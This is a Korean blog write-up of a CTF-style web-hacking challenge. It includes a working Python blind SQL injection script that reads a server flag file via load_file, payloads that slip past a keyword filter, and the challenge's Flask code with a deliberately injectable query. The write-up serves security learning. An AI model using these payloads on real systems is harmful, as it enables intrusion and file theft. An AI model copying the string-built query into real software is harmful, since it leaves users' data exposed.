Sechack

김민욱님이 주신 웹해킹 문제 풀이 본문

Wargame

김민욱님이 주신 웹해킹 문제 풀이

Sechack 2021. 5. 28. 23:38
반응형

이번에는 지인이 준 웹해킹 문제를 풀어보았다. 문제 제작자님은 me2nuk라는 닉네임으로 활동중인 김민욱이라는 분이시다. 일단 문제를 풀때는 소스코드를 제공해주지 않고 uid, upw를 post로 보내서 sql injection을 발생시키라는 정보와 필터링되는 키워드 리스트만 얻었다.

 

filters = ['mid', 'substr', 'substring', 'lpad', 'right', 'left', 'reverse', 'regexp', 'like', ' ', 'in' ]

 

필터링된 키워드는 대충 이러하다. 가장 걸리는게 공백과 substr이다.

 

처음에는 Burp Suite를 이용해서 테스트하려 했지만 패킷 구조를 이상하게 보냈는지 그 어떠한 injection페이로드도 먹히지 않길래 그냥 python으로 처음부터 끝까지 테스트했다.

 

 

사이트에 들어가면 GET방식으로 보내지 말라고 한다. 그리고 C:\ProgramData\MySQL\MySQL Server 8.0\Uploads\secure\flag 경로에 플래그가 있다고 알려준다. 

 

 

몇번의 테스트 결과 그냥 평번한 로그인 쿼리임을 짐작할 수 있었다. '||1=1#이런식으로 uid를 주니까 Hello User!를 반환했다. 나는 처음에 admin계정으로 로그인해야하는줄 알고 uid=replace('azdzmzizn','z','')# 이런 방식으로 admin으로 로그인을 했다. 하지만 Hello User!가 뜰 뿐이었다. 그래서 패스워드를 알아야하나 싶어서 필터링하지 않는 rpad를 이용해서 패스워드를 얻어봤는데 패스워드는 XD였다.

 

 

문제를 꼼꼼히 보자는 교훈을 얻었다. 로그인이 아닌 파일을 읽어야 하는것이었다. 그래서 처음에 드갔을때 플래그파일 경로를 뿌려준거고... 우리는 저 플래그 파일을 읽어서 내용을 추출하면 된다. 내용을 출력하는 기능따위는 없으므로 blind sql injection으로 알아와야 한다. 처음에는 Error based blind sql injection기법을 사용해보았지만 먹히지 않는다. 왜냐하면 \와 같은 문자를 대입하면 무조건 에러가 뜬다. 이것도 있지만 Error based blind sql injection시도했을때는 경로에 있는 \를 이스케이핑 처리 잘못해서 안되기도 한거였다. 풀고나서 생각해보니까 white list방식으로 무조건 에러나는 부분 걸러주면 Error based blind sql injection도 가능해보였다.

 

 

아무튼 나는 삽질끝에 Error based blind sql injection말고 다른 방법을 선택했다. and uid=replace('azdzmzizn','z','')# 와 같이 and를 이용해서 앞의 쿼리가 참일경우 admin계정으로 로그인 성공하게끔 해서 사이트의 반환값으로 blind sql injection을 했다.

 

 

import requests
import time

URL = 'http://112.154.52.33:8080/'

uid = "'/**/or/**/rpad(load_file(concat('C:\\\\ProgramData\\\\MySQL\\\\MySQL',space(1),'Server',space(1),'8.0','\\\\Uploads\\\\secure\\\\flag')),{},space(1))='{}'/**/and/**/uid=replace('azdzmzizn','z','')#"
flag = ''
i = 1

while(True):
    for j in range(33, 127):
        data = {'uid':uid.format(str(i), flag+chr(j)), 'upw':''}
        res = requests.post(URL, data)
        print(data)
        
        if "Hello" in res.text:
            flag += chr(j)
            if(chr(j) == '}'):
                print(flag)
                exit()
            break

    i += 1

 

그래서 최종적으로는 이러한 페이로드가 완성된다. 여기서 주의할점이 공백을 필터링하므로 concat함수와 space(1)을 이용해서 공백을 넣어줘야하고 \를 4개 넣어줘야한다. python자체 내에서 이스케이프 처리를 해서 \를 4개넣으면 최종적으로는 \가 2개만 들어가게 되고 mysql에서도 이스케이프 처리를 하기때문에 \를 2개 보내면 최종적으로는 \가 1개가 되면서 정상적으로 경로가 들어가게 된다. 이것때문에 삽질좀 했다... 원래 길이부터 구하는게 정석인데 어차피 플래그 형식이면 }로 끝나므로 그냥 }만나면 종료하게끔 짜줬다.

 

 

플래그가 나왔다.

 

FLAG{Hello_Sec_!hack_}

 

플래그가 나에게 인사를 한다...ㅋㅋ Hello Sechack ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

 

 

 

그리고 풀고나서 플래그 보여주니까 민욱님이 저에게 서버측 소스코드를 주셨다.

 

from flask import Flask, request, jsonify
import pymysql

app = Flask(__name__)

HOST = '0.0.0.0'
PORT = 8080

def Connect(Query, username, password):
    SQL = pymysql.connect(host='127.0.0.1', user = 'root', passwd = '<secret>', db='user')
    cursor = SQL.cursor()

    filters = ['mid', 'substr', 'substring', 'lpad', 'right', 'left', 'reverse', 'regexp', 'like', ' ', 'in' ]

    for _ in filters:
        if username.find(_) != -1:
            return f'Filter [{_}]'
        elif password.find(_) != -1:
            return f'Filter [{_}]'

    cursor.execute(Query)
    rel = cursor.fetchone()
    print(Query)
    print(rel, "h")

    if not rel is None:
        return 'Hello User!'
    else:
        return 'not user'

def Api():

    if request.method == 'GET':
        return f'<h1>Hello Login!</h1><hr>Method Not Allowed [{request.method}]<br>Come on Directory "C:\\ProgramData\\MySQL\\MySQL Server 8.0\\Uploads\\secure\\flag"'

    elif request.method == 'POST':

        Username = request.form.get('uid', '')
        Password = request.form.get('upw', '')

        return Connect(f"SELECT uid FROM user WHERE uid='{Username}' and upw='{Password}';", Username, Password)

app.add_url_rule('/', view_func=Api, methods=['GET', 'POST'])

if __name__=="__main__":
    app.run(HOST, PORT)

 

서버측 소스코드는 이렇다고 한다.

 

아무튼 이번 문제는 처음으로 sql injection을 이용해서 파일을 털어본(?) 문제였다. 로그인이 아닌 파일을 읽는다는점이 조금 신기했다.

반응형

'Wargame' 카테고리의 다른 글

HackCTF - 나는 해귀다 풀이  (0) 2021.06.08
HackCTF - AdultFSB 풀이  (0) 2021.05.31
LOS - iron_golem 풀이  (0) 2021.05.22
HackCTF - 훈폰정음 풀이  (0) 2021.05.12
HackCTF - 달라란 침공 풀이  (0) 2021.05.12
Comments